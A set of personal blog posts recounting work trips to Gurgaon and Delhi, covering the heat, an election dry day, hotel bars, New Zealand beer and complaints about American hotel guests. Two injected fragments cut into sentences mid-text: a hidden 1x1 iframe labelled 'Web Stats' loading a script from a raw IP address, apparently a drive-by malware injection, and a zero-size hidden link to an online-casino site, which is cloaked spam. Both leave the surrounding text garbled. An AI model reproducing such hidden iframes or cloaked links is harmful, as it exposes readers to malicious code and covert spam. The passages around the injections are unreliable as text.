Author: Kruse

So, back in India.  Last time wasn’t hot.  This time is hot.  First week – constant 42 degree highs.  That is rather hot.

And – that’s about it from me, I think.  Ummm…. on Sunday a few of us went into Delhi.  That was alright.  Drove around in a hotel car – driven by a nice patient man wearing his chaffeur cap.  Saw India Gate.  That’s big, and surrounded by the normal tout type thing.  Saw Gandhi’s Eternal Flame.  And yes, there was a woman there selling Bangles.  Well – wristbands.   Saw the president’s palac, and government buildings.  They’re pretty big.  Drove past the Red Fort, but didn’t get a decent look.  That’s big.  Very big, and red.  And then – had dinner at The Imperial.  THE place to stay/eat in Delhi.  Was not bad.  Food wasn’t too expensive, actually about the same price as our hotel.  Except the dish I ordered – which was three times the price of anything else.  Hell – I wanted beef/lamb/lobster.  I didn’t want weird mini macaranoi cheese thing (three pieces of penne, with cheese, baked/grilled into a kind of biscuit) – but got that anyway.

Oh – and yesterday, disaster struck.  Here I am feeling smug, as my colleagues fall one by one to that affliction known by the Delhi Belly,Gandhi’s Revenge, the Delhi Weight-Loss Plan, etc etc (I chuckled politely the first time I heard each of these.  No more.)  Anyway – I was feeling smug, and rather superior at the weakness of these people.  Then… no, I didn’t become sick.  Of course I didn’t become sick.  But – “Dry Day”!  Stupid countries who decide people have to be sober to vote.  Yep – election day in Delhi tomorrow.  And, from 5pm last night until 5pm tomorrow night – every container with alcohol in it has a big ‘sealed’ sticker over it.  They stole into our rooms and thieved everything out of the mini-bars while we were at work.  The spirits at the bar have been taken away somewhere, and locked in a safe I presume.  The beer fridges, wine fridges, and everything else have big stickers saying SEALED over the doors.  And – they sprung it on us by surprise.  Sort of.  We had heard rumours – and I asked the barman about it.  He said yes – it went from Wednesday evening through to Friday evening.  Okay – I thought, and explained to workmates on Monday.  I’ve spotted what seems to be a booze-store, well – booze-shack, nearly across the road.  Named English Beer & Spirits, for some reason (it really does look like a shack/shed).  So – tomorrow night, we’ll get the car to go via there, and we’ll stock up.  Alas, Tuesday evening comes, and we hear the news from the hotel.  Dry Day has started, with us unprepared.  Well – the suckers unprepared, me… I still got most of a bottle of duty-free scotch.  Still, not happy.  And then – when I get back to the hotel, and the bar staff all tease me – I go up to my room.  And my keycard doesn’t work.  I start to panic.  “What if they’ve de-activated my key, so that somebody can come and personally tell me they had to confiscate my whisky during the Dry Day period?”  Yes – I really did.  But – after spending a while waiting for somebody to let me in – and talking myself into and out of believing the worst – I entered my room, and my beautiful little boy was there.  So – while my workmates drank tea and watched sookball last night, I drank whisky and watched a masculine violent movie.

And tomorrow – actual Election Day.  Therefore, very few people at work, therefore very little need for us to go in, therefore working from the hotel.  I suspect that this might be a ploy so that we can be at the bar as soon as the ban lifts at 5.  Some people are so sad.

Anyway – off now.  Workmates look to be settling in for some sookball.  Might be time for a night-cap.

Well, I managed to escape Inja, back to Ingerlund.  Which is good, as I was getting thoroughly sick of Inja.  And it turns out quite well – because I expect to be getting rather sick of London within two weeks – at which point I return to India.  So – if I can keep doing this, with smaller and smaller gaps between each change, I’ll live a happy contented life.

The rest of my time in India was much the same as the first week or two.  Much work, followed by much drinking, interspersed with very small amounts of food/sleep.  Although, I had most of the final weekend off.  Well – half of Saturday, and most of Sunday.  So – finally took advantage of the hotel pool, and the sun.  And of course champagne brunch.  (Your favourite seat sir? – reminds me that most Sundays have actually been spent at champagne brunch – although usually with my laptop open on the table, and working between the all-you-can-eat/drink lobster, champagne, etc).

The most exciting part of the trip was when one of the managers was chatting with me at the bar, and it came up that I was from New Zealand.  Oh – we had a salesman here last week with some beers from New Zealand.  I think we still have the samples.  And so the barman opens up the secret black fridge, and pulls out the first bottle he can find.  Monteiths Original.  I think my face must have given something away, because they gave me the beer.  Far far too cold – but once I let it warm up a little (very very testing on my patience) – it was the best beer I’ve had in a long long time.  About a week later, I brought it up again – to see what else they had hidden in their secret black fridge.  The salesman was certainly from DB, as he produced DB Draught, Export Gold, Tui, and maybe something else.  I start to realise I was very very lucky that the first one he produced the first night was Monteiths.  I can’t really see DB Draught or Tui being sold in a 4-star hotel.  I should have put some more pressure on the managers to start stocking Monteiths – as my next trip I’m sure I could have gone through one shipment.  And made future generations of kiwis visiting Gurgaon very very happy.

But – back to London now.  Via Business class.  Upgrade, thank you very much.  Delhi airport is rather interesting.  Or not at all interesting – is probably more accurate.  One ‘lounge’ which I got access to because of my upgrade.  Not the normal Business Class lounge.  And not what I’d really call a lounge.  One duty-free store.  A smoking room.  And I think I saw a couple of stalls selling trinkets.

But – that’s all for now.  Have got lots of work to do – so hopefully the next trip will go a lot more smoothly with the work to be!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — done, and I can actually get one or two days off to go see stuff.

Oh – and the day I left, the news channels were full of the upcoming heatwave.  Considering the heat while I was there, I’m very very much hoping that this heatwave is short.

Well – probably not the best time to be ‘free-form writing’, as I’m sure some jerk somewhere calls it.

I am extremely tired, extremely hungry (but am eating – so that’s not too bad) – and have listened to goddamn seppos for the last hour.  Maybe only half-an-hour – but it seems like two, so I’m going to go with one hour.

Now – I KNOW there are some nice Americans out there.   There are even some nice North Americans.  And yes – even some nice UnitedStatesofAmericans out there.  I mean – there must be, right?  And I’m sure the ones I’m listening to are ‘nice’.  They seem ‘nice’.  But they are still very VERY (my mum reads this, so I’ll stick with very VERY) annoying.  There are probably some non-annoying seppos out there – and in those cases, I wouldn’t call them seppos.  But – I’m sure they aren’t the ones having a conversation about travelling – and stating that I’m always up for trying new things – while sitting in a 4-star hotel eating club sandwiches, fries, and I think there was a burger in there somewhere.  Well – that’s a given, isn’t it?  And reading goddamn Stephen friggin King.

Okay, I thought – I know what to expect withemfont style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://online-casino-net.org/online casino/a/font these people/em.   Yes – the young fat one will not shut up.  Yes, the older nice polite ones will nod and agree and make inane comments that these walls have heard hundreds of times before.  Yes, somebody will complain about their sandwich not having guacamole.  And it’s all so predictable.  But I refuse to accept that I am living in a movie.  I expect something a little different.  Something not quite so ‘pat’.  I certainly did not expect for the loud fat seppo to be eating a burger and fries, reading Stephen can’t think of any characters other than a middle-aged author, and talking about how he recently married his sweetheart, how they are both PhD students who met because they were top of their class (yeah right), how they’ve just bought a puppy (it’s a bulldog-lt;mumble somethinggt; cross…. so of course we called it Austin.  What?  What?  lt;mumbled because my mum will read thisgt; WHAT?), and how the so-called lucky newlywed back home cried for the first week – and really misses him, and he really misses her, and all that.  Yeah right – she probably got to hear her TV for the first time.  Oh – did I mention that before they started on the personal chit-chat – they talked for half-an-hour about movies.  I really couldn’t have picked a better group of USAmericans if I’d had a casting couch in Los Angeles.

Ahhh… but they’re gone now.  Just left.  Back to eating curry and seafood in India – 600 miles from the coast.  What’s the worst that could happen?

Managed to convince my boss that it was pointless working from the office today.  So – am working from the hotel.  And it’s sunny, and there’s a pool – but I’m currently locked inside.  I think I’ll wait for my battery to charge, then spend some time in the sun.  After being forced to stay at the office until 2am last night, despite there being nothing for me to do – I’m not going to feel guilty about working beside the pool.  Not one bit.

Oh – some observations on India?  Don’t really know.  Have seen the hotel, the office, and the road in between.  The hotel amp; office are what you’d expect.  Fairly modern places.  I’m getting annoyed with the hotel staff insisting on opening doors for me, pressing lift buttons, etc.  Especially the guy in the toilet.  I have come to the point where I enter the toilet, I gasp a sigh of relief if the little man isn’t in there.  No – he doesn’t help one out THAT much – just turning on the tap, pressing the button for soap, holding out a little towel, and turning off the tap.  The tap is a button, for jeebers’ sake.

The road between office amp; hotel – that’s interesting.  I haven’t been anywhere in rush hour yet – or any long trips – but from what I’ve seen/heard – it’s worse/better than anywhere else I’ve been – and I believe statistics state in the World.  I say worse/better – because most people would say worse – but I personally find the pure danger of it a little fun.  Well, perhaps not fun – but at least interesting.  Difficult to find interesting things when one is pretty much stuck in a hotel/office with workmates.  Guards with shotguns check our car/bags for bombs/weapons each time we return to the hotel.  Guards at the office sit in a shack and do absolutely nothing, as far as I can tell.  As I said – the office is fairly modern.  But go outside onto the dusty street, and a roaming pig will wander past.  And not a cute little pink pig with a ribbon tied to it’s ear.  Bush pig.  Camel tied to a tree on the way to work too.  Don’t know why.  Probably a good reason.

The barman has come to start referring to a certain kind of beer at the hotel bar as a Mr-Kruse-Beer.  And yes – it is the largest available.  I have nearly run out of duty-free, which makes me think I should go home soon.  I suspect that they are going to want to send me out here again next month anyway, for the next bill-run.  Maybe next time I can have a day off to go see stuff.  Maybe.

So, while India is decided to be too dangerous for cricketers – I fly straight here.  Cause that’s the kind of daredevil I am.  Off the wall.  Crazy.  And all that.

Yep – I’m here in India.  Beautiful, scenic Gurgaon – a satellite city of Delhi.  Beautiful, scenic.  That’s what the description on a website for my hotel says.  “Set in scenic surrounds”.  Hmmm… I think there’s been some kind of language difficulties there.  The hotel’s views, depending on what side you look from – consist of a motorway, a make-shift parking lot for motorcycles, or small barren brown fields.  And further afield doesn’t get much better.  Pretty much just dirty, ugly industrial city – done Indian style.  Reading the information pack in my room – the best thing they could come up with to get one excited about Gurgaon was that it was sometimes called the shopping mall centre of India.  Lots of shopping malls.  That’s the best feature.

But – to be fair – it is within driving distance of stuff.  So – hopefully one day I’ll be able to go see… stuff.  Taj Mahal, Red Fort, …. stuff.  Current plan is that I fly out on Saturday night – and I’m working on Saturday – so current plan means I don’t get to see stuff.  But – it’s sounding more and more likely that I’ll be staying another week – probably two more.  Which could kill me – as I am already exhausted.  I come to a country which is actually warm – very warm – and get a cold.  Possibly something to do with working 15 hours a day, staying up until 4am each night, and skipping meals.  I’m in a hotel with a swimming pool and a bar with free drinks.  Both close at 8pm – and I’m working until after 8pm each night.  Stupid, stupid, stupid.  I think I’m going to get into the habit of leaving the office earlier, and doing some work from the lounge with free booze.  Especially as when the booze isn’t free – it’s expensive.  More expensive than London.  Far more expensive than London.  Twice as expensive as London.  Which makes it 3 or 4 times more expensive than New Zealand.  Not sure how much of my bar tab the company will pick up – but certainly not all of it.

Anyway – that’s enough whinging about my free trip to a foreign country staying in a nice hotel.  Back to work.